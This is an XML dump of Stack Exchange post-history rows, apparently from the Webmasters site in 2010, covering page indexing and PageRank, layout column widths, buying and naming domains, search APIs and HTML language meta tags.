  <row Id="5022" PostHistoryTypeId="5" PostId="2555" RevisionGUID="c66f9554-25ef-4302-94a8-e70425b5c3cd" CreationDate="2010-08-26T16:31:56.340" UserId="233" Comment="added 721 characters in body" Text="If a page is not indexed (as your user page is not) or newly indexed then it will not have a PageRank assigned to it. Some online services like prchecker.info give you &quot;N/A&quot; as the value. It looks like the PR toolbar just shows blank instead of showing you the N/A or an error.&#xD;&#xA;&#xD;&#xA;As for why the pages are not indexed it's difficult to know exactly but I'd hazard a guess that either they are not listed in SO's sitemap, or they are given a very low priority compared to the actual questions. Since so many questions are asked daily Googlebot is concerning the majority of its time with those instead of the user pages.&#xD;&#xA;&#xD;&#xA;With your rep of 1,225 you are ranked something like 8,000th in the user list so are fairly low priority in Googlebot's eyes.&#xD;&#xA;&#xD;&#xA;[Jon Skeet][1] has PR4, by the way ;)&#xD;&#xA;&#xD;&#xA;EDIT based on comments: No, Google's indexing of a page will not depend directly on their &quot;reputation&quot; since of course a web search algorithm has no concept of Stack Overflow rankings.&#xD;&#xA;&#xD;&#xA;However, users with a higher rep on SO will inevitably have asked/answered more questions, so there will be more links to their profile page, giving Googlebot more inclination to check out their user page and possibly index it.&#xD;&#xA;&#xD;&#xA;So a user with roughly the same rep may have more questions/answers, or asked/answered more popular questions. Or the user page could have more links to it from other sources (e.g. their personal blog).&#xD;&#xA;&#xD;&#xA;In short, there are *many, many* factors why one user page may be indexed and another not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/users/22656/jon-skeet" />
  <row Id="5023" PostHistoryTypeId="2" PostId="2589" RevisionGUID="4665fbae-52bf-49b8-8a13-4f12c1267d9f" CreationDate="2010-08-26T16:40:45.550" UserId="233" Text="The simplest way is to get rid of the positioning stuff, and simply float the image and paragraph. Then add either `overflow: hidden` or `float: left` to the `.ProdList` elements." />
  <row Id="5024" PostHistoryTypeId="2" PostId="2590" RevisionGUID="778d391f-8f1b-439a-a605-5422da894d98" CreationDate="2010-08-26T16:47:52.280" UserId="1323" Text="Monitors have gotten wider over time and as a result webpages have had an ever-widening center column.  &#xD;&#xA;&#xD;&#xA;What is the current recommendation for middle column width?  &#xD;&#xA;&#xD;&#xA;Is there an organisation that publishes design guidelines, or do webdesigners just follow the trend?  If so who is the trend leader?&#xD;&#xA;&#xD;&#xA;What other information do you use when determining width? (IIS Logs, end user 'type', industry, etc)." />
  <row Id="5025" PostHistoryTypeId="1" PostId="2590" RevisionGUID="778d391f-8f1b-439a-a605-5422da894d98" CreationDate="2010-08-26T16:47:52.280" UserId="1323" Text="What width should the center column be in a 3 column layout?" />
  <row Id="5026" PostHistoryTypeId="3" PostId="2590" RevisionGUID="778d391f-8f1b-439a-a605-5422da894d98" CreationDate="2010-08-26T16:47:52.280" UserId="1323" Text="&lt;website-design&gt;&lt;logging&gt;&lt;page-size&gt;" />
  <row Id="5027" PostHistoryTypeId="2" PostId="2591" RevisionGUID="dbf89029-6c77-4f99-a24b-c351ef31175b" CreationDate="2010-08-26T17:09:38.630" UserId="1253" Text="As discussed in [this question][1] it's not monitor size that matters. It's browser size/resolution. Someone may have a very wide monitor but only keep their browser open to half its width.&#xD;&#xA;&#xD;&#xA;Your best bet is to design the middle column to grow and shrink depending on browser size. Using the min/max-width CSS properties should give it the constraints you're looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2494/should-i-bother-to-design-web-sites-that-can-be-viewed-in-800x600-resolution/2495#2495" />
  <row Id="5028" PostHistoryTypeId="2" PostId="2592" RevisionGUID="03c36aa0-f946-42b4-ba34-be793f6e343e" CreationDate="2010-08-26T17:10:36.910" UserId="233" Text="There is no &quot;recommendation&quot; for specifically the center column, that would be odd.&#xD;&#xA;&#xD;&#xA;Most sites nowadays stick to a maximum of 1000 pixels for the entire site width (for 1024x768 resolution screens). IMO wider than that is not all that useful anyway, since lines of text can before too long to read comfortably (like Wikipedia, which uses a fluid layout)." />
  <row Id="5029" PostHistoryTypeId="2" PostId="2593" RevisionGUID="6287392c-e502-4727-a0d1-34d34560c940" CreationDate="2010-08-26T17:14:31.287" UserId="1748" Text="(For the purposes of this message, let's assume that my company is named Squirrel Consulting LLC.)&#xD;&#xA;&#xD;&#xA;I received an email today from someone offering to sell me the squirrelconsulting.com domain name today, for $980. Right now I'm using the domain &quot;squirrelnow.com&quot; for my business. When I formed the company, the proper squirrelconsulting.com domain name was already taken, so I couldn't use it.&#xD;&#xA;&#xD;&#xA;When I check the squirrelconsulting.com web page, this message appears in the top right:&#xD;&#xA;&#xD;&#xA;    squirrelconsulting.com expired on 07/26/2010 and is pending renewal or deletion&#xD;&#xA;&#xD;&#xA;I haven't really used the squirrelnow domain for much; if I did buy squirrelconsulting.com it would be quite easy to transfer everything over to it. So that's not an issue. There are many other companies named Squirrel Consulting LLC, so I can't go after him for &quot;cybersquatting&quot; or whatever.&#xD;&#xA;&#xD;&#xA;My question is: Is there anything I should be aware of when buying the domain? What questions should I ask to make sure this person is legit and not trying to sell me something he has hijacked somehow? Is there anything I should be wary of?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="5030" PostHistoryTypeId="1" PostId="2593" RevisionGUID="6287392c-e502-4727-a0d1-34d34560c940" CreationDate="2010-08-26T17:14:31.287" UserId="1748" Text="What should I look out for when buying a domain name?" />
  <row Id="5031" PostHistoryTypeId="3" PostId="2593" RevisionGUID="6287392c-e502-4727-a0d1-34d34560c940" CreationDate="2010-08-26T17:14:31.287" UserId="1748" Text="" />
  <row Id="5032" PostHistoryTypeId="5" PostId="2592" RevisionGUID="61945100-f150-4e6c-9e60-91b6492dd105" CreationDate="2010-08-26T17:15:53.233" UserId="233" Comment="added 367 characters in body" Text="There is no &quot;recommendation&quot; for specifically the center column, that would be odd.&#xD;&#xA;&#xD;&#xA;Many sites nowadays stick to a maximum of 1000 pixels for the entire site width (for 1024x768 resolution screens). IMO wider than that is not all that useful anyway, since lines of text can before too long to read comfortably (like Wikipedia, which uses a fluid layout).&#xD;&#xA;&#xD;&#xA;The majority of CSS grid frameworks use 960 pixels, then it's up to you how many columns you use for the sidebars/center.&#xD;&#xA;&#xD;&#xA;I check Google Analytics occasionally to see what resolutions my visitors are using. 800x600 doesn't even feature on the top 10 resolutions. Apart from 320x396 (which is obviously a mobile browser) the lowest resolution is 1024x768 (18%)." />
  <row Id="5033" PostHistoryTypeId="10" PostId="2584" RevisionGUID="487ae465-4552-41dc-8f03-76c7521c72b0" CreationDate="2010-08-26T17:17:47.990" UserId="55" CloseReasonId="4" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="5034" PostHistoryTypeId="2" PostId="2594" RevisionGUID="7563ab04-b01a-46c3-99a8-812dd78d0484" CreationDate="2010-08-26T17:20:12.267" UserId="1253" Text="At the very least use escrow to handle the payment. That way if they are a scam they either will balk at it immediately and thus save you a hassle or, if they are trying to scam you somehow, you'll never have to pay them as they won't ever successfully deliver the product (the domain)." />
  <row Id="5035" PostHistoryTypeId="2" PostId="2595" RevisionGUID="b02d6e2e-581f-4a45-8dcb-4dfed3b7263d" CreationDate="2010-08-26T18:10:49.597" UserDisplayName="Sam" Text="I'm trying to think of a new domain name, what are words/prefixes/suffixes that convey the same essense as &quot;wiki&quot;?&#xD;&#xA;&#xD;&#xA;I want to convey that it's a site where everyone collaborates together to make the pages." />
  <row Id="5036" PostHistoryTypeId="1" PostId="2595" RevisionGUID="b02d6e2e-581f-4a45-8dcb-4dfed3b7263d" CreationDate="2010-08-26T18:10:49.597" UserDisplayName="Sam" Text="I'm trying to think of a new domain name, what are words/prefixes/suffixes that convey the same essense as &quot;wiki&quot;?" />
  <row Id="5037" PostHistoryTypeId="3" PostId="2595" RevisionGUID="b02d6e2e-581f-4a45-8dcb-4dfed3b7263d" CreationDate="2010-08-26T18:10:49.597" UserDisplayName="Sam" Text="&lt;domains&gt;" />
  <row Id="5038" PostHistoryTypeId="2" PostId="2596" RevisionGUID="a953b13d-f96f-44f8-a06a-af6c36084a45" CreationDate="2010-08-26T18:18:24.543" UserId="1253" Text="Off the top of my head:&#xD;&#xA;&#xD;&#xA; - docs&#xD;&#xA; - notes" />
  <row Id="5039" PostHistoryTypeId="2" PostId="2597" RevisionGUID="400c7da2-93fa-433e-8c08-b24caf6e0522" CreationDate="2010-08-26T18:28:33.237" UserId="1429" Text="IMO I would never pay almost 1000$ for a domain cosidering that a domain normally costs less than 10$.&#xD;&#xA;If your business is running well with the domain you have now, why changing it. If your business is not doing good now, I don't think a 1000$ domain is gonna make your businnes do any better.&#xD;&#xA;&#xD;&#xA;Anyway I would ask it to a hosting company that do registers/transfers hundreds of domains. Obviously telling them you are gonna use their DNS and transfer the doimain to them.&#xD;&#xA;They could probably help you.&#xD;&#xA;&#xD;&#xA;Anothe thing is asking the current domain owner to prove they are the real owner, for instance tell them to change some filed in the whois domain data by entering something like &quot;Hello babe&quot; and check out they did it (whois data are public available unless they restircted it, but still you could ask them to make them public so you culd see).&#xD;&#xA;" />
  <row Id="5040" PostHistoryTypeId="2" PostId="2598" RevisionGUID="53b4f1d0-4396-4028-abb4-e6a0bae947a5" CreationDate="2010-08-26T18:59:59.783" UserId="847" Text="I am getting dozens of 404 errors on my site that are requests for gif's with apparently random names, like 4273uaqa.gif and 5pwowlag.gif.&#xD;&#xA;&#xD;&#xA;I see that most of them are coming from one user. I assume something is happening in the background on her machine without her knowledge -- a malware thing on the client.&#xD;&#xA;&#xD;&#xA;Have you seen this behavior before, and do you know what sort of malware might cause it?&#xD;&#xA;&#xD;&#xA;Would love to advise my customer that s/he has an issue. I'd also like to stop getting these 404 reports.&#xD;&#xA;&#xD;&#xA;*(reposted from main Stack Overflow)*" />
  <row Id="5041" PostHistoryTypeId="1" PostId="2598" RevisionGUID="53b4f1d0-4396-4028-abb4-e6a0bae947a5" CreationDate="2010-08-26T18:59:59.783" UserId="847" Text="Are you aware of any client-side malware that sends lots of junk requests for .gifs?" />
  <row Id="5042" PostHistoryTypeId="3" PostId="2598" RevisionGUID="53b4f1d0-4396-4028-abb4-e6a0bae947a5" CreationDate="2010-08-26T18:59:59.783" UserId="847" Text="&lt;404&gt;" />
  <row Id="5043" PostHistoryTypeId="2" PostId="2599" RevisionGUID="025e6dfa-1611-43ed-850d-387a09ff7445" CreationDate="2010-08-26T19:24:25.800" UserDisplayName="Jan" Text="The people will only read your content when they can read it flawless.. What I do is to specify the width of the content container to a good value in EM instead of pixels. Don't take too high values.. long lines aren't useful, IHMO." />
  <row Id="5044" PostHistoryTypeId="2" PostId="2600" RevisionGUID="f026117e-cd96-4b33-9005-4a96f2bc9225" CreationDate="2010-08-26T20:20:27.030" UserId="313" Text="*board (as in whiteboard, sketchboard, etc.)" />
  <row Id="5045" PostHistoryTypeId="2" PostId="2601" RevisionGUID="4f2040af-0d37-46c3-b9d3-da8da3b417da" CreationDate="2010-08-26T20:48:31.107" UserId="72" Text="Me and a group of people in the process of choosing a domain name for a future website and we aren't sure wheter the noun in the domain name should be plural or singular.&#xD;&#xA;&#xD;&#xA;Currently we have 2 options :&#xD;&#xA;&#xD;&#xA; - echangehec.ca (English: exchangehec.ca) OR echangeshec.ca (English: exchangeshec.ca)    &#xD;&#xA; - livrehec.ca (English: bookhec.ca) OR livreshec.ca (English: bookshec.ca)&#xD;&#xA;&#xD;&#xA;What are the advantage or disadvantage of choosing one or an other ?&#xD;&#xA;&#xD;&#xA;**Note:** The funding for the project is minimal and purchasing both is an option that should be avoided if it's not necessary." />
  <row Id="5046" PostHistoryTypeId="1" PostId="2601" RevisionGUID="4f2040af-0d37-46c3-b9d3-da8da3b417da" CreationDate="2010-08-26T20:48:31.107" UserId="72" Text="What are the pro and con of singular and plural noun in the domain name ?" />
  <row Id="5047" PostHistoryTypeId="3" PostId="2601" RevisionGUID="4f2040af-0d37-46c3-b9d3-da8da3b417da" CreationDate="2010-08-26T20:48:31.107" UserId="72" Text="&lt;domains&gt;" />
  <row Id="5048" PostHistoryTypeId="5" PostId="2601" RevisionGUID="c4b986c1-417b-4893-8054-cf228136b1f9" CreationDate="2010-08-26T21:04:14.493" UserId="108" Comment="added 7 characters in body; edited title" Text="Me and a group of people are in the process of choosing a domain name for a future website and we aren't sure whether the noun in the domain name should be plural or singular.&#xD;&#xA;&#xD;&#xA;Currently we have 2 options :&#xD;&#xA;&#xD;&#xA; - echangehec.ca (English: exchangehec.ca) OR echangeshec.ca (English: exchangeshec.ca)    &#xD;&#xA; - livrehec.ca (English: bookhec.ca) OR livreshec.ca (English: bookshec.ca)&#xD;&#xA;&#xD;&#xA;What are the advantages or disadvantages of choosing one or an other ?&#xD;&#xA;&#xD;&#xA;**Note:** The funding for the project is minimal and purchasing both is an option that should be avoided if it's not necessary." />
  <row Id="5049" PostHistoryTypeId="4" PostId="2601" RevisionGUID="c4b986c1-417b-4893-8054-cf228136b1f9" CreationDate="2010-08-26T21:04:14.493" UserId="108" Comment="added 7 characters in body; edited title" Text="What are the pros and cons of singular or plural nouns in a domain name ?" />
  <row Id="5050" PostHistoryTypeId="2" PostId="2602" RevisionGUID="85c0af9e-39b9-47c3-bc5b-28d3992e088f" CreationDate="2010-08-26T21:08:54.203" UserId="108" Text="The only real benefit of plural over singular is if people search for the plural term more than the singular one which you can tell by doing some search in Google Keywords.&#xD;&#xA;&#xD;&#xA;Honestly, I suggest you buy both and do a 301 Redirect from one to the other.  The only cost is going to be buying and renewing the extra name each year.  Ask yourself this, what if you buy the singular noun domain name and some competitor buys the plural then what do you do?  What if a cyber squatter buys it and puts up spam adds on it?  How would that negatively effect your site? " />
  <row Id="5051" PostHistoryTypeId="2" PostId="2603" RevisionGUID="051b87d1-7d6c-4837-a121-55cef777e898" CreationDate="2010-08-26T21:09:39.583" UserId="767" Text="I'd suggest that your central column should be (approximately) half the screen width, up to a maximum. If you have one sidebar, you could go a bit wider; with two sidebars, a bit less - depending on what you have in the sidebars, of course. &#xD;&#xA;&#xD;&#xA;But, please keep it a proportional value instead of a fixed one.&#xD;&#xA;&#xD;&#xA;Like many others, I've spent the money (at home) or begged the boss (at work) for a nice high resolution screen, or two, so that I can read more at one time. Fixed width layouts penalize both those with higher resolutions (wasted screen space) and those with lower (horizontal scrollbars). &#xD;&#xA;&#xD;&#xA;To illustrate ...&#xD;&#xA;&#xD;&#xA;My laptop runs native resolution 1920x1200 - nice, clear, plenty of room, lots of space to put content for reading.&#xD;&#xA;&#xD;&#xA;But, when I browse to a site using a 960 pixel fixed width, I have one of two problems. &#xD;&#xA;&#xD;&#xA;Either I maximize my browser, leaving half my screen completely whitespace:&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://lh5.ggpht.com/_afoGSadSspw/THbVt-evxYI/AAAAAAAAELI/OT7TtMZbjhY/s800/960single.jpg&quot;/&gt;&#xD;&#xA;&#xD;&#xA;Or if I put two browsers side by side, the content is clipped and I have to monkey around with a horizontal scroll bar as I read:&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://lh5.ggpht.com/_afoGSadSspw/THbVuLHuwtI/AAAAAAAAELM/NCMh6eDWVkw/s800/960dual.jpg&quot;/&gt;&#xD;&#xA;&#xD;&#xA;The kicker is this: it's entirely unnecessary to cause these problems. It's perfectly possible to create fluid width layouts with constraints to prevent things going too wide or too narrow (there are plenty of sites that do just this).&#xD;&#xA;" />
  <row Id="5052" PostHistoryTypeId="4" PostId="2601" RevisionGUID="177b3ed6-3511-4b19-b571-42dbe79312ea" CreationDate="2010-08-26T21:26:39.150" UserId="108" Comment="Edited title to move it away from being thought of as community wiki" Text="Should I use singular or plural nouns in a domain name and why?" />
  <row Id="5053" PostHistoryTypeId="2" PostId="2604" RevisionGUID="23b1e483-ce87-4cf8-b831-94564d5a73fa" CreationDate="2010-08-26T21:49:10.040" UserId="1161" Text="Depending how badly you want the name, counter offer. I was recently offered a domain I wanted pretty badly. They offered it at $450. I countered at $95. They accepted.&#xD;&#xA;&#xD;&#xA;These companies want to make money. While making $1000 is more than $100, $100 is more than no sale at all. And your company is an obvious choice for the sale.&#xD;&#xA;&#xD;&#xA;Of course, be aware they might just say &quot;no&quot;." />
  <row Id="5054" PostHistoryTypeId="2" PostId="2605" RevisionGUID="cc5ea459-aabf-4067-8103-1fbb2013a354" CreationDate="2010-08-26T21:50:12.520" UserId="1161" Text="Some less traditional ideas:&#xD;&#xA;&#xD;&#xA; - storm (as in brainstorm)&#xD;&#xA; - collect&#xD;&#xA; - cloud&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5055" PostHistoryTypeId="2" PostId="2606" RevisionGUID="200dc03f-2e03-422e-94ae-08b03d4d2c58" CreationDate="2010-08-27T02:06:09.950" UserId="1754" Text="[Fusion Ads][1] is pretty good. You can only place one ad per page on the site but they really look pretty good for ads. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fusionads.net/" />
  <row Id="5056" PostHistoryTypeId="2" PostId="2607" RevisionGUID="de22c581-0f51-4a0c-be21-0c298e24c08f" CreationDate="2010-08-27T02:21:02.637" UserId="1064" Text="Search engines evaluate [word stems][1] when assessing keywords - even if the spelling of the word changes dramatically, you won't find an appreciable difference in domain-level keyword value between singular and plural forms.&#xD;&#xA;&#xD;&#xA;Use whatever will be easiest for your users to recall, though it is good advice (and best practice) to buy both singular and plural forms of the domain name.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Stemming" />
  <row Id="5057" PostHistoryTypeId="2" PostId="2608" RevisionGUID="4553b095-1f2a-415b-965a-88a8729e3a42" CreationDate="2010-08-27T02:27:57.180" UserId="1064" Text="Google appears to be aware of [a few similar complaints][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/#hl=en&amp;source=hp&amp;q=5pwowlag&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1" />
  <row Id="5058" PostHistoryTypeId="2" PostId="2609" RevisionGUID="33db0360-4278-4cb7-8085-6c9ec229d19d" CreationDate="2010-08-27T02:28:30.233" UserId="1755" Text="Consider including something tangible as part of the sale (even something simple like a printed and signed statement that they are selling you the domain) that they would have to send you in the mail as an alternative to escrow. By making that part of the transaction, you may gain valuable protections that are afforded to those who transact business with the USPS." />
  <row Id="5059" PostHistoryTypeId="2" PostId="2610" RevisionGUID="79bdaad3-1f5a-4376-906e-7d6e12bab649" CreationDate="2010-08-27T02:32:44.903" UserId="1064" Text="Adding to the comments regarding escrow - *you* should pick the escrow agent or company if you can't find any info on the one they're suggesting. (there are plenty of reputable options just a search away)" />
  <row Id="5060" PostHistoryTypeId="5" PostId="2547" RevisionGUID="4f2794f0-3841-44c2-b981-b624b2ae5753" CreationDate="2010-08-27T04:36:04.827" UserId="138" Comment="edited body" Text="If you go to [my user page][1] on Stack Overflow and you check it with the Gogle bar you can see has got no PR at all (this does happen for almost any user page, even people with [much][2] [higher][3] [reputation][4], the only exceptions seem to be the [users in page 1][5], and [some other users][6] they have PR).&#xD;&#xA;&#xD;&#xA;**My user page's Page Rank is not only zero, but not calculated at all.**&#xD;&#xA;&#xD;&#xA;When PR is 0 or less than 1, but calculated the Google bar shows white, but when the PR is not even calculated like in my user page the Google bar shows in grey.&#xD;&#xA;&#xD;&#xA;![alt text][7]&#xD;&#xA;&#xD;&#xA;I further more discovered that **my user page is NOT EVEN INDEXED on Google**, simple test is [searching on Google for the exact page url][8]: &quot;http://stackoverflow.com/users/260080/marco-demaio&quot; and you will see no result.&#xD;&#xA;&#xD;&#xA;The question is **how can this be???&#xD;&#xA;This is really weird to me because of the following reason:**&#xD;&#xA;&#xD;&#xA;If you search on Google for &quot;Marco Demaio&quot; on stackoverflow site only (you can do this by searching &quot;site:stackoverflow.com Marco Demaio&quot;) the [search result][9] shows hundreds of 'asking/answering questions' pages where I was 'tagged'!!! Let's check one of these: [the 1st one that appears now][10] (shows one of the question I asked). We can be sure this page is indexed in Google because comes out in a search moreover its PR is calculated, it's probably nearly zero, but still **some PR flows there**, **the PR bar is not grey, but white**:&#xD;&#xA;&#xD;&#xA;![alt text][11]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[The page shown above][12] has got links to [my own user page][13]. I checked the source code of the page shown above and the links are not **hidden or set with a rel=&quot;nofollow&quot;**, moreover I can't see any meta character excluding the links on the page from being followed.&#xD;&#xA;&#xD;&#xA;**So what's happening? Why Google does not see [my user page][14] at all.**&#xD;&#xA;&#xD;&#xA;**Did stackoverflow do something to achieve this? If yes what did they do?** &#xD;&#xA;&#xD;&#xA;Any explantion really appreciates (as always).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.S. obviously I checked also the code of my user page, but I could not find meta tags excluding Google search for the page.&#xD;&#xA;&#xD;&#xA;P.S. 2 in a desperate adventure I also checked StackOverflow [robots][15] but it does not seem to exclude user pages.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;following up on some answers, I did some more research. Excluding for a while the PR problem (since PR is not science), and looking only at the **user page on StackOverflow NOT BEING INDEXED problem**: **pages do not seem to be indexed by Google because of the user reputation**, [this user][16] for instance has got NOW 200 points less reputation than me and his page is indexed (while mine not).&#xD;&#xA;**It does not seem even to be connected with months you have been on Stackoverflow**, [this user][17] (almost my same reputation) has been there for 3 months only and his page is indexed (while mine not and I have been a user for 7 months).&#xD;&#xA;&#xD;&#xA;It's bizzarre!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [2]: http://stackoverflow.com/users/148870/amber&#xD;&#xA;  [3]: http://stackoverflow.com/users/21886/richiehindle&#xD;&#xA;  [4]: http://stackoverflow.com/users/67132/michael&#xD;&#xA;  [5]: http://stackoverflow.com/users?page=1&amp;tab=&#xD;&#xA;  [6]: http://stackoverflow.com/users/1/jeff-atwood&#xD;&#xA;  [7]: http://i.stack.imgur.com/uAZiC.jpg&#xD;&#xA;  [8]: http://www.google.com/#hl=en&amp;source=hp&amp;q=http%3A%2F%2Fstackoverflow.com%2Fusers%2F260080%2Fmarco-demaio&amp;btnG=Google+Search&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=http%3A%2F%2Fstackoverflow.com%2Fusers%2F260080%2Fmarco-demaio&amp;gs_rfai=&amp;pbx=1&amp;fp=7db4f7af4a13aa89&#xD;&#xA;  [9]: http://www.google.it/#q=site:stackoverflow.com+Marco+Demaio&amp;hl=en&amp;prmd=o&amp;ei=_AZ1TOriCsyWOLfwyKAG&amp;start=20&amp;sa=N&amp;fp=33793d66ac60e1ca&#xD;&#xA;  [10]: http://stackoverflow.com/questions/2607946/js-encodeuricomponent-result-different-from-the-one-created-by-form&#xD;&#xA;  [11]: http://i.stack.imgur.com/NctIF.jpg&#xD;&#xA;  [12]: http://stackoverflow.com/questions/2607946/js-encodeuricomponent-result-different-from-the-one-created-by-form&#xD;&#xA;  [13]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [14]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [15]: http://stackoverflow.com/robots.txt&#xD;&#xA;  [16]: http://stackoverflow.com/users/308392/michal-trybus&#xD;&#xA;  [17]: http://stackoverflow.com/users/348350/pieter" />
  <row Id="5061" PostHistoryTypeId="2" PostId="2611" RevisionGUID="d60a2ab1-2c83-4d60-9867-950c3de3c976" CreationDate="2010-08-27T05:46:47.883" UserId="1327" Text="Since the [Yahoo Site Explorer Web Services API is going away at the end of 2010](http://help.yahoo.com/l/us/yahoo/search/siteexplorer/alliance-7.html), are there any other web search APIs that offer similar information?&#xD;&#xA;&#xD;&#xA;In particular, I'm interested in services similar to [Inbound Links API](http://developer.yahoo.com/search/siteexplorer/V1/inlinkData.html) and [PageData API](http://developer.yahoo.com/search/siteexplorer/V1/pageData.html).&#xD;&#xA;&#xD;&#xA;I've heard a little bit about Majestic SEO, but don't know much about what they can offer in terms of APIs.&#xD;&#xA;&#xD;&#xA;Information about them or any other service is much appreciated. :)&#xD;&#xA;&#xD;&#xA;( MOD NOTE : PLEASE ADD THE TAG API TO THIS QUESTION )" />
  <row Id="5062" PostHistoryTypeId="1" PostId="2611" RevisionGUID="d60a2ab1-2c83-4d60-9867-950c3de3c976" CreationDate="2010-08-27T05:46:47.883" UserId="1327" Text="Yahoo Site Explorer API replacement?" />
  <row Id="5063" PostHistoryTypeId="3" PostId="2611" RevisionGUID="d60a2ab1-2c83-4d60-9867-950c3de3c976" CreationDate="2010-08-27T05:46:47.883" UserId="1327" Text="&lt;seo&gt;&lt;analytics&gt;" />
  <row Id="5064" PostHistoryTypeId="6" PostId="2611" RevisionGUID="50eb91c9-9393-4c31-9e17-df1fec20a041" CreationDate="2010-08-27T06:09:39.677" UserId="745" Comment="edited tags" Text="&lt;seo&gt;&lt;analytics&gt;&lt;api&gt;" />
  <row Id="5065" PostHistoryTypeId="2" PostId="2612" RevisionGUID="d3702fb7-6f4f-4ab4-92b9-010946fc8e8f" CreationDate="2010-08-27T06:18:52.833" UserId="745" Text="Take a look at the [SEOmoz API][1]. I haven't used it, but I generally find that SEOmoz is a smart company that does their homework, so they would be the first place I would check. They have a [free version][2] for up to 1 million links, anchor texts, or pages per month and a [paid version][3] for a starting rate of $500/month. They also offer developer accounts, but you need to contact them for access.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/api&#xD;&#xA;  [2]: http://apiwiki.seomoz.org/SEOmoz-Free-API&#xD;&#xA;  [3]: http://apiwiki.seomoz.org/SEOmoz-Site-Intelligence-APIs" />
  <row Id="5066" PostHistoryTypeId="2" PostId="2613" RevisionGUID="ae41bbb0-0ed3-42c8-bdbc-e171f008ae2f" CreationDate="2010-08-27T06:34:21.327" UserId="472" Text="What's the difference between these two meta-tags&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;Content-Language&quot; content=&quot;de, en&quot;/&gt;&#xD;&#xA;    &lt;meta name=&quot;language&quot; content=&quot;de, en&quot;&gt;&#xD;&#xA;&#xD;&#xA;Are they both needed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5067" PostHistoryTypeId="1" PostId="2613" RevisionGUID="ae41bbb0-0ed3-42c8-bdbc-e171f008ae2f" CreationDate="2010-08-27T06:34:21.327" UserId="472" Text="Difference between meta tags Content-Language and language" />
  <row Id="5068" PostHistoryTypeId="3" PostId="2613" RevisionGUID="ae41bbb0-0ed3-42c8-bdbc-e171f008ae2f" CreationDate="2010-08-27T06:34:21.327" UserId="472" Text="&lt;language&gt;&lt;meta&gt;" />
  <row Id="5069" PostHistoryTypeId="2" PostId="2614" RevisionGUID="e9b48034-da66-4fb8-922c-e74bf01b1224" CreationDate="2010-08-27T06:45:21.273" UserId="472" Text="While reading this question on webmasters:  &#xD;&#xA;[http://webmasters.stackexchange.com/questions/1721/why-dont-websites-have-a-description-meta-tag-in-the-head-section][1]&#xD;&#xA;&#xD;&#xA;I also checked out stachexchange's source code and while indeed the 'description' meta-tag is missing, just to save a few bytes as Jeff noted in his answer to the question, I found it rather strange to see a 'title' meta-tag in there.&#xD;&#xA;&#xD;&#xA;This tag essentially duplicates the html 'Title' tag. My research didn't really turn up any reason on why this tag is there, basically just 'wasting' another few bytes.&#xD;&#xA;&#xD;&#xA;Why is this tag there? Why bother including it?&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1721/why-dont-websites-have-a-description-meta-tag-in-the-head-section" />
  <row Id="5070" PostHistoryTypeId="1" PostId="2614" RevisionGUID="e9b48034-da66-4fb8-922c-e74bf01b1224" CreationDate="2010-08-27T06:45:21.273" UserId="472" Text="What's the meta-tag title for?" />
  <row Id="5071" PostHistoryTypeId="3" PostId="2614" RevisionGUID="e9b48034-da66-4fb8-922c-e74bf01b1224" CreationDate="2010-08-27T06:45:21.273" UserId="472" Text="&lt;meta&gt;&lt;title&gt;" />
  <row Id="5072" PostHistoryTypeId="2" PostId="2615" RevisionGUID="d3cb326e-a972-4614-a870-58a6db80f276" CreationDate="2010-08-27T07:11:27.980" UserId="1022" Text="`Content-language` is [going away soon][1] (note the big red &quot;obsolete&quot;), and I'm not sure `language` was ever official.  The W3C recommends this instead:&#xD;&#xA;&#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;&#xD;&#xA;&#xD;&#xA;The `lang` attribute works with most tags (except `&lt;script /&gt;`, `&lt;br /&gt;`, `&lt;frame /&gt;`, etc), so you can mix, match, and cascade:&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;This is English, since the html tag covers it.&lt;/p&gt;&#xD;&#xA;    &lt;p lang=&quot;ja&quot;&gt;しかし、これではない&lt;/p&gt;&#xD;&#xA;    &lt;p&gt;And back to English.&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;It's been around since HTML 4 so it's safe. Since it's just a semantic descriptor, browsers don't &quot;fully&quot; support it (they only need to know the character set).  Google &amp; friends understand it though, and that probably matters more.&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.w3.org/html5/markup/meta.http-equiv.content-language.html&#xD;&#xA;" />
